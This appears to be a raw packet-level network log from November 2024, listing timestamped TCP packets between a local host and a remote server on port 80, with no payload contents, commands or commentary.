Nov 26, 2024 00:07:48.371001959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.371048927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.371115923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.371160984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.371826887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.371871948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.371911049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.371963978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.372612953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.372668028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.372729063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.372787952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.373440981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.373487949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.373564005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.373610973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.374228954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.374275923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.374305010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.374394894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.375039101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.375087976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.375125885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.375178099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.375848055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.375893116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.375933886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.375983000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.376642942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.376713037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.376805067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.376852036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.377449036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.377504110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.377526045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.377598047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.378262043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.378308058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.378372908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.378420115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.379074097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.379126072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.379184008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.379230976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.379864931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.379914999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.379962921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.380009890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.380670071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.380714893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.380774021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.380820036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.381474018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.381521940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.381613016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.381659985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.382292986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.382354021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.382421970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.382471085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.383104086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.383152008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.383191109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.383244038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.383914948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.383965015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.384097099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.384144068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.384721041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.384768963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.384808064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.384857893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.385524988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.385569096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.385607958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.385667086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.386307955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.386354923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.386426926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.386475086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.387123108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.387187004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.387278080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.387331963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.387932062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.387979031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.388047934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.388094902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.388768911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.388817072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.388897896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.388942003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.389542103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.389589071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.389600992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.389684916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.390403986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.390453100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.390531063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.390578032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.391155958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.391205072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.391268969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.391318083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.391974926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.392020941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.392117023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.392164946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.392803907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.392851114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.392908096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.392955065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.393703938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.393754005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.393996000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.394043922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.394414902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.394467115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.394531012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.394577026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.395200968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.395247936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.395311117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.395365000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.396003008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.396049976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.396083117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.396143913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.396819115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.396866083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.396923065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.396969080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.397618055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.397691011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.397691965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.397732973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.566673040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.566812992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.566868067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.566895008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.566968918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.567015886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.567055941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.567102909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.567760944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.567806959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.567893028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.567940950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.568629026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.568676949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.568761110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.568806887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.569360971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.569406033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.569483995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.569529057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.570178032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.570225000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.570291042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.570337057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.570980072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.571027040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.571099997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.571147919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.571806908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.571854115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.571866035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.571966887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.572670937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.572717905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.572805882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.572855949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.573422909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.573467016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.573532104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.573577881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.574220896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.574261904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.574322939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.574369907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.575018883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.575068951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.575104952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.575155020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.575841904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.575887918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.575925112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.575963974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.576656103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.576702118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.576757908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.576808929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.577467918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.577514887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.577553034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.577609062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.578252077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.578313112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.578346968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.578393936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.579086065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.579133034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.579226971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.579272032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.580708981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.580758095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.580790043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.580805063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.580816984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.580845118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.580878019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.581505060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.581552029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.581552029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.581593037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.582436085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.582482100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.582509995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.582570076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.583265066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.583317041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.583338976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.583401918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.583949089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.583993912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.584026098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.584086895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.584729910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.584779024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.584878922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.584928989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.585542917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.585585117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.585616112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.585702896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.586348057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.586394072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.586453915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.586499929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.587131977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.587201118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.587220907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.587295055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.587944031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.587990046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.588052034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.588100910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.588794947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.588839054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.588875055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.588917971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.589545012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.589591026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.589682102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.589726925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.590358019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.590404987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.590439081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.590485096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.591253042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.591300964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.591396093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.591443062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.591975927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.592081070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.592137098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.592777014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.592860937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.592876911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.592915058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.593569040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.593614101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.593703032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.593749046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.594410896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.594460011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.594486952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.594530106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.595377922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.595422983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.595515013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.595565081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.596151114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.596199036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.596282005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.596328020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.596802950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.596852064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.596919060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.596985102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.597615004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.597681046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.597760916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.597806931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.598493099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.598505020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.598543882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.599272013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.599323988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.599387884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.599435091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.600157976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.600176096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.600204945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.600220919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.600862980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.600908995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.600987911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.601032972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.601675034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.601722956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.601778030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.601824045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.602468967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.602514982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.602555037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.602602959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.603271008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.603332043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.603391886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.603437901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.604068041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.604115009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.604171991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.604217052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.604877949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.604928017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.604999065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.605046034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.605695963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.605741978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.605814934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.605861902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.606486082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.606534004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.606565952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.606611013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.607295990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.607343912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.607413054 CET	80	49753	92.255.57.88	192.168.2.4
